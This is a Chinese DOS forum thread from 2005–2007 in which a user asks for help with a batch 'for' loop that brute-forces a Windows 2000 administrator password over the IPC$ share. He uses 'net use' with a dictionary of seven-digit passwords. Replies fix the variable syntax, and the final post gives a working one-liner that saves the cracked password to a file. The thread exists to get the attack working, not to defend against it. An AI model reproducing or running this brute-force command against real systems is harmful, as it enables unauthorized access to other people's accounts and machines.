中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-03 07:40
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 请教dos或批处理中的for命令 查看 1,008 回复 3
楼 主 请教dos或批处理中的for命令 发表于 2005-11-16 08:52 ·  中国 浙江 绍兴 诸暨市 电信
初级用户
积分 101
发帖 35
注册 2005-10-26 16:18
20年会员
UID 44101
状态 离线
在网上看到一个贴子,在dos或批处理中用for命令能对win2k进行暴力密码破解,格式如下(在dos中):for /f i% in (dict.txt) do net use\\ip\ipc$ "i%" /u:"administrator" |find ":命令成功完成“>>D:\ok.txt,其中dict.txt是我建立的密码文件,每行是一个7位数字的密码,可在dos下运行后,却出现什么多了in的提示,好像没有用,请教:我错在哪?是缺少for参数还是dict.txt格式不对?
2 发表于 2005-11-16 21:20 ·  中国 广东 广州 海珠区 电信
金牌会员
★★★★
D◎$ Fαп
积分 4,562
发帖 1,883
注册 2004-01-19 00:00
22年会员
UID 15812
性别 男
来自 广东广州
状态 离线
在批处理文件中,应该将for命令里面的 i% 改为 %%i
----====≡≡≡≡ 我的至爱,永远是MSDOS!≡≡≡≡====----
3 发表于 2005-11-17 11:14 ·  中国 浙江 绍兴 诸暨市 电信
初级用户
积分 101
发帖 35
注册 2005-10-26 16:18
20年会员
UID 44101
状态 离线
部分搞明白了:把%i搞成了i%!但后边的 |find ":命令成功完成">>ok.txt不对,执行完这个 命令后,找到了口令,也生成了ok.txt文件,但里面只有“命令成功完成”这几个字,没有保存找到的口令!请老大告诉我,怎样在执行后直接能在ok.txt文件中显示这个找到的口令。
4 发表于 2007-02-06 02:50 ·  中国 北京 鹏博士BGP
初级用户
积分 28
发帖 12
注册 2007-01-19 05:33
19年会员
UID 76978
性别 男
状态 离线
for /f %a in (dict.txt) do net use\\ip\ipc$ "%a" /u:"administrator" |find ":命令成功完成“ &&echo %a>>D:\ok.txt
论坛跳转: